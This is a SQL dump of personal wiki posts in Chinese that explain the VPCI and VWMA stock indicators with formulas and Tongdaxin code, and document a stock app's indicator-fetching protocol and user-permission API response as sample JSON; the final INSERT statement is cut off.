INSERT INTO `tb_post` VALUES (226, 224, 1, 2, 0, 'VPCI：成交量价格确认指标', NULL, 2, '', '', 'Dormeier 设计了成交量价格确认指标（Volume-Price Confirmation Index, VPCI），将价格趋势和成交量加权后的价格趋势进行比较，即将 SMA 与 VWMA 作比较，用以揭示成交量对股票价格趋势的认可或背离程度。SMA 仅显示了股票价格的变化，但无法反映投资者对当前价格的参与度（即通过成交量达成对价格的认可程度），而 VWMA 将价格的重要性按照相应的成交量进行了加权，VPCI 指标反映了 SMA 和 VWMA 之间的不对称信息。\n\n## 计算方法\n\nVPCI 涉及 3 个指标的计算：成交价格确认或反对指标（VPC）、成交价格比率（VPR）、成交价格乘数（VM）。\n\n### VPC\n\nVPC 的计算方法是从长期的 VWMA 中减去同期 SMA，当该差值为正时，为 VPC+ 指标，反之为 VPC- 指标。\n\n```math\nVPC_t=VWMA_t(n)-SMA_t(n)\n```\n\n### VPR\n\nVPR 是用短期 VWMA 与 SMA 做对比，用来放大或缩小 VPC。\n\n```math\nVPR_t=\\cfrac{VWMA_t(n)}{SMA_t(n)}\n```\n\n### VM\n\n```math\nVM_t=\\cfrac{MAV_t(n_1)}{MAV_t(n_2)}\n```\n\n式中，$`n_1 < n_2`$，$`MAV_t(n_1)`$表示短期平均移动成交量，$`MAV_t(n_2)`$表示长期平均移动成交量。VM 是为了在成交量增大时放大 VPCI 的值，成交量减小时缩小 VPCI 的值。\n\n### VPCI\n\n最后将以上三步计算出的 VPC、VPR、VM 相乘就得到了 VPCI：\n\n```math\nVPCI_t = VPC_t \\times VPR_t \\times VM_t\n```\n\n## 通达信公式\n\n```lua\n{M是快线，N是慢线}\nVWMA_N:SUM(C*V,N)/SUM(V,N);\nVWMA_M:SUM(C*V,M)/SUM(V,M);\nVPC:VWMA_N - MA(C,N);\nVPR:VWMA_M/MA(C,M);\nVM:MA(V,M)/MA(V,N);\nVPCI:VPC*VPR*VM*100,COLORCYAN;\nIF(VPCI>=REF(VPCI,1),VPCI,DRAWNULL),LINETHICK1,COLORRED;\n```\n\n## 个人评价\n\n  - 虽然没有经过严格证明，但根据直觉来说，VPCI 更适合作为低吸进场的条件，而非高抛离场的条件。因为底部放量会导致趋势结构改变，但一旦主力建仓完成，拉升过程有时并不会伴随放量，这会导致 VPC 指标为负，若以此为卖点，可能会导致过早离场；\n  - 根据这一点，可能要分几种情况：\n      * 底部放量，上升过程缩量的，一旦放量可能是背离；\n      * 底部放量，上升过程放量的，一旦缩量可能是背离；\n      * 底部未放量，上升过程放量的，VPC 背离则离场；\n      * 底部未放量，上升过程未放量的，不允许进场。\n  - 实际上 VPCI 最主要的部分还是 VPC，其他两个都是放大缩小而已，并不会改变 VPCI 的符号。\n\n\n## 扩展\n\n从公式可以看出来，实际上 VPCI 本身是取某种与成交量有关的均线（如 VWMA）和普通均线 MA 进行差值对比。意味着类似于 OBV 之类的均线也可以。至少在某次询问 ChatGPT VPCI 相关问题时，它说用 OBV 来计算。', 0, 5, '', 1, 0, '2024-01-03 16:53:58', '2024-01-03 16:55:35');
INSERT INTO `tb_post` VALUES (227, 224, 2, 2, 0, 'VWMA：成交量加权移动平均值', NULL, 2, '', '', '简单移动平均线只应用了股票的价格信息，给予每天收盘价以同样的权重进行计算，却不包含成交量信息。一般的技术分析确认为：在给定的价格上交易的股票数量越多，越能证明价格的有效性。因此，在简单移动平均线的基础上，本文又引入了成交量加权的移动平均值（Volume-weighted Moving Average, VWMA）。计算方法为将每个交易日的收盘价用当天的成交量加权，除以总的成交量计算加权移动平均值。计算公式为：\n\n```math\nVWMA_{t}(N) = \\cfrac{\\sum_{i=0}^{n-1}V_{t-i} \\times C_{t-i}}{\\sum_{i=0}^{n-1}V_{t-i}}\n```\n\n式中，$\'C_{t}\'$代表股票在时间点$\'t\'$日的收盘价，$\'V_{t}\'$代表股票在时间点$\'t\'$日的成交量，$\'n\'$表示该移动平均线的平均周期，可以取5，10，20等数。\n\n对应通达信公式：\n```lua\nVWMA:SUM(C*V,N)/SUM(V,N);\n```\n\n## 扩展\n### 精细程度\n一般而言，用 VWMA 指标，粒度应该越小越精细，如 1 分钟线的 VWMA 指标和日线 VWMA 指标，前者更为精细。VWMA 指标和常用的订单流方式类似，都是以大的订单（成交量）来衡量某个价位是否拥有足够的权重。但订单流额外包含了交易订单的主买主卖信息，而 VWMA 不包含。\n\n对于日线级别的 VWMA，可以使用一些方式使得精细度更高，如：**采用**$`\\frac{H + L + C}{3}`$**来代替**$`C`$**，或者采用 AMOUNT/VOL 来代替 C 等**（见[[stock:indicators:mcst|MCST：市场成本]]）。\n\n### 其他应用\nVWMA 可以用来制作 [[stock:indicators:vwma-macd|VWMA-MACD]] 指标，以及 [[stock:indicators:vpci|VPCI：成交量确认指标]]。', 0, 0, '', 1, 0, '2024-01-03 17:05:34', '2024-01-03 17:05:34');
INSERT INTO `tb_post` VALUES (228, 209, 3, 3, 0, '抓取指标', NULL, 2, '', '', '可以通过两种方式获取：\n\n## 2921 INDEX_CALC_V2\n\n实体类：nano.IndexCalcRequest$IndexCalc_Request\n示例请求 JSON：\n```json\n{\n  \"indexName\": \"龙腾活跃 \",\n  \"indexSource\": {\n    \"dataPeriod\": 10000,\n    \"reqFhsp\": false,\n    \"lastVolume\": 0,\n    \"beginPosition\": 20240104,\n    \"limitSize\": 151,\n    \"goodsId\": 1301337,\n    \"reqHisShares\": false,\n    \"exFlag\": 0\n  }\n}\n```\n示例返回 JSON：\n```json\n{\n    \"inputParams\": {\n      \"indexParam\": null,\n      \"indexSource\": {\n        \"dataPeriod\": 10000,\n        \"reqFhsp\": false,\n        \"lastVolume\": 0,\n        \"beginPosition\": 20240104,\n        \"limitSize\": 151,\n        \"goodsId\": 1301337,\n        \"reqHisShares\": false,\n        \"exFlag\": 0\n      },\n      \"indexName\": \"龙腾活跃 \"\n    },\n    \"lineColor\": [],\n    \"lineTime\": [\n      20230526, ...\n    ],\n    \"lineValue\": [\n      {\n        \"lineData\": [\n          2571, ...\n        ],\n        \"lineShape\": 1,\n        \"lineName\": \"龙腾活跃\"\n      },\n      {\n        \"lineData\": [\n          20000, ...\n        ],\n        \"lineShape\": 1,\n        \"lineName\": \"海面线\"\n      },\n      {\n        \"lineData\": [\n          0, ...\n        ],\n        \"lineShape\": 19,\n        \"lineName\": \"日周共振\"\n      }\n    ],\n    \"masterOverlay\": false\n}\n```\n\n## 2422 CANDLE_STICK_V3\n\n实体类：nano.CandleStickWithIndexRequest$CandleStickWithIndex_Request\n示例请求 JSON：\n```json\n{\n  \"candleRequest\": {\n    \"dataPeriod\": 10000,\n    \"reqFhsp\": true,\n    \"lastVolume\": 0,\n    \"beginPosition\": 0,\n    \"limitSize\": 400,\n    \"goodsId\": 1301337,\n    \"reqHisShares\": true,\n    \"exFlag\": 0\n  },\n  \"indexRequest\": [\n    {\n      \"indexParam\": null,\n      \"indexName\": \"CPX\"\n    },\n    {\n      \"indexParam\": {\n        \"N\": \"5\"\n      },\n      \"indexName\": \"按部就班\"\n    },\n    {\n      \"indexParam\": null,\n      \"indexName\": \"强势区间\"\n    },\n    {\n      \"indexParam\": null,\n      \"indexName\": \"深跌\"\n    },\n    {\n      \"indexParam\": null,\n      \"indexName\": \"KLINESTAT\"\n    }\n  ]\n}\n```\n示例返回 JSON：\n```json\n{\n    \"fhsp\": [\n      {\n        \"addShares\": 0,\n        \"exDate\": 20231023,\n        \"bonus\": 1500000,\n        \"rightsPrice\": 0,\n        \"rights\": 0,\n        \"splitShares\": 0\n      }\n    ],\n    \"hisshares\": [\n      {\n        \"shares\": 24705511,\n        \"hsdate\": 20230526\n      }, ...\n    ],\n    \"indexDatas\": {\n      \"强势区间\": {\n        \"lineColor\": [],\n        \"lineValue\": [\n          {\n            \"lineData\": [\n              50000, ...\n            ],\n            \"lineShape\": 17,\n            \"lineName\": \"L1\"\n          },\n          {\n            \"lineData\": [\n              80000, ...\n            ],\n            \"lineShape\": 17,\n            \"lineName\": \"L2\"\n          },\n          {\n            \"lineData\": [\n              80000, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"天际\"\n          },\n          {\n            \"lineData\": [\n              2571, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"龙腾四海\"\n          }\n        ],\n        \"masterOverlay\": false\n      },\n      \"深跌\": {\n        \"lineColor\": [],\n        \"lineValue\": [\n          {\n            \"lineData\": [\n              400, ...\n            ],\n            \"lineShape\": 18,\n            \"lineName\": \"L1\"\n          },\n          {\n            \"lineData\": [\n              300, ...\n            ],\n            \"lineShape\": 18,\n            \"lineName\": \"L2\"\n          },\n          {\n            \"lineData\": [\n              150, ...\n            ],\n            \"lineShape\": 18,\n            \"lineName\": \"L3\"\n          },\n          {\n            \"lineData\": [\n              -9223372036854775808, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"阶段下跌\"\n          }\n        ],\n        \"masterOverlay\": false\n      },\n      \"KLINESTAT\": {\n        \"lineColor\": [],\n        \"lineValue\": [\n          {\n            \"lineData\": [\n              21536, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"DDBL\"\n          },\n          {\n            \"lineData\": [\n              291162624000, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"ZJJL\"\n          }\n        ],\n        \"masterOverlay\": false\n      },\n      \"CPX\": {\n        \"lineColor\": [],\n        \"lineValue\": [\n          {\n            \"lineData\": [\n              0, ...\n            ],\n            \"lineShape\": 6,\n            \"lineName\": \"BS\"\n          }\n        ],\n        \"masterOverlay\": false\n      },\n      \"按部就班\": {\n        \"lineColor\": [],\n        \"lineValue\": [\n          {\n            \"lineData\": [\n              50650, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"现价\"\n          },\n          {\n            \"lineData\": [\n              57500, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"顶部\"\n          },\n          {\n            \"lineData\": [\n              55980, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"卖出\"\n          },\n          {\n            \"lineData\": [\n              52620, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"买入\"\n          },\n          {\n            \"lineData\": [\n              50780, ...\n            ],\n            \"lineShape\": 1,\n            \"lineName\": \"底部\"\n          }\n        ],\n        \"masterOverlay\": false\n      }\n    },\n    \"kLines\": [\n      {\n        \"high\": 578500,\n        \"low\": 504600,\n        \"close\": 506500,\n        \"datetime\": 20230526,\n        \"shares\": 24705511,\n        \"volume\": 17660289,\n        \"open\": 548500,\n        \"amount\": 961147252736\n      }, ...\n    ],\n    \"requestParams\": {\n      \"candleRequest\": {\n        \"dataPeriod\": 10000,\n        \"reqFhsp\": true,\n        \"lastVolume\": 0,\n        \"beginPosition\": 0,\n        \"limitSize\": 400,\n        \"goodsId\": 1301337,\n        \"reqHisShares\": true,\n        \"exFlag\": 0\n      },\n      \"indexRequest\": [\n        {\n          \"indexParam\": null,\n          \"indexName\": \"CPX\"\n        },\n        {\n          \"indexParam\": {\n            \"N\": \"5\"\n          },\n          \"indexName\": \"按部就班\"\n        },\n        {\n          \"indexParam\": null,\n          \"indexName\": \"强势区间\"\n        },\n        {\n          \"indexParam\": null,\n          \"indexName\": \"深跌\"\n        },\n        {\n          \"indexParam\": null,\n          \"indexName\": \"KLINESTAT\"\n        }\n      ]\n    }\n}\n```', 0, 1, '', 1, 0, '2024-01-04 23:14:37', '2024-01-04 23:14:37');
INSERT INTO `tb_post` VALUES (229, 209, 4, 3, 0, '权限', NULL, 2, '', '', '每次登陆到个人中心以后，会请求下面的地址：\n\n```\nhttps://emapp.emoney.cn/user/Authority/GetMyAuthority\n```\n\n返回：\n```json:n\n{\n	\"detail\": [{\n		\"code\": \"abjb\",\n		\"name\": \"按部就班\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvediejia\",\n		\"name\": \"策略叠加\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvegongzhen\",\n		\"name\": \"策略共振\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvejingxuan\",\n		\"name\": \"策略精选\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvekanpan\",\n		\"name\": \"策略看盘\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"cpx\",\n		\"name\": \"操盘线\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"dkln\",\n		\"name\": \"多空量能\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 4,\n		\"groupName\": \"资金指标\"\n	}, {\n		\"code\": \"dkyy\",\n		\"name\": \"多空意愿\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fsby\",\n		\"name\": \"分时博弈\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 4,\n		\"groupName\": \"资金指标\"\n	}, {\n		\"code\": \"fund\",\n		\"name\": \"基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_compare\",\n		\"name\": \"基金对比\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_golden_bull\",\n		\"name\": \"金牛基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_lesson_junior\",\n		\"name\": \"基金课堂（初级）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_live_broadcast\",\n		\"name\": \"基金实战\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_long_running\",\n		\"name\": \"长跑冠军\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_smartmoney\",\n		\"name\": \"聪明钱选基\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-bsetf\",\n		\"name\": \"BS点选ETF基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-trade\",\n		\"name\": \"基金交易\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-xsjj\",\n		\"name\": \"相似基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-zthyxj\",\n		\"name\": \"主题行业选基\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"ggsfz\",\n		\"name\": \"个股三分钟深度版\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"huoxianticai\",\n		\"name\": \"火线题材\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"indexzlzj\",\n		\"name\": \"指数分时主力净流\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"kankan\",\n		\"name\": \"看看\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"klinehero\",\n		\"name\": \"K线英雄\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"kuaisuxuangu\",\n		\"name\": \"快速选股\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70007\",\n		\"name\": \"直播（拐点）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70008\",\n		\"name\": \"直播（中继）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70009\",\n		\"name\": \"直播（突破）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70010\",\n		\"name\": \"直播（基本面策略）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70007\",\n		\"name\": \"互动问答（拐点）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70008\",\n		\"name\": \"互动问答（中继）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70009\",\n		\"name\": \"互动问答（突破）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70010\",\n		\"name\": \"互动问答（基本面策略）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"longhubang\",\n		\"name\": \"龙虎榜\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"lthy\",\n		\"name\": \"龙腾活跃\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"ltsh\",\n		\"name\": \"龙腾四海\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"points\",\n		\"name\": \"积分中心\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"qsdd\",\n		\"name\": \"趋势顶底\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"qsqj\",\n		\"name\": \"强势区间\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"sd\",\n		\"name\": \"深跌\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"stock_compare\",\n		\"name\": \"股票比一比\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"stockdoctor\",\n		\"name\": \"股票医生\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70007:100005\",\n		\"name\": \"底部量变\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70007:100006\",\n		\"name\": \"深跌回弹\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70007:100013\",\n		\"name\": \"趋势顶底（回转）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70008:100007\",\n		\"name\": \"小步上扬\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70009:100003\",\n		\"name\": \"阶段新高\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70009:100015\",\n		\"name\": \"龙腾四海（再强）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70009:100017\",\n		\"name\": \"按部就班（走强）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80019\",\n		\"name\": \"高成长\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80020\",\n		\"name\": \"高分红\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80021\",\n		\"name\": \"高盈利\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80022\",\n		\"name\": \"增持回购\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80043\",\n		\"name\": \"基本面策略-低市盈率\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"study:system\",\n		\"name\": \"学习成长-体系\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"tianyan:fengkou\",\n		\"name\": \"天眼盯盘-风口机会\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"tiaojianxuangu\",\n		\"name\": \"条件选股\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"tuijian\",\n		\"name\": \"首页推荐\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"zhuti\",\n		\"name\": \"主题聚焦\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"zljc\",\n		\"name\": \"主力进出\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"zljl\",\n		\"name\": \"主力净流\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 4,\n		\"groupName\": \"资金指标\"\n	}, {\n		\"code\": \"zxgfx\",\n		\"name\": \"自选股分析\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}],\n	\"result\": {\n		\"code\": 0,\n		\"updateTime\": 1704702625884,\n		\"traceId\": \"132513ab376bf38fc00fde8e3d6bd80b\"\n	}\n}\n```', 0, 5, '', 1, 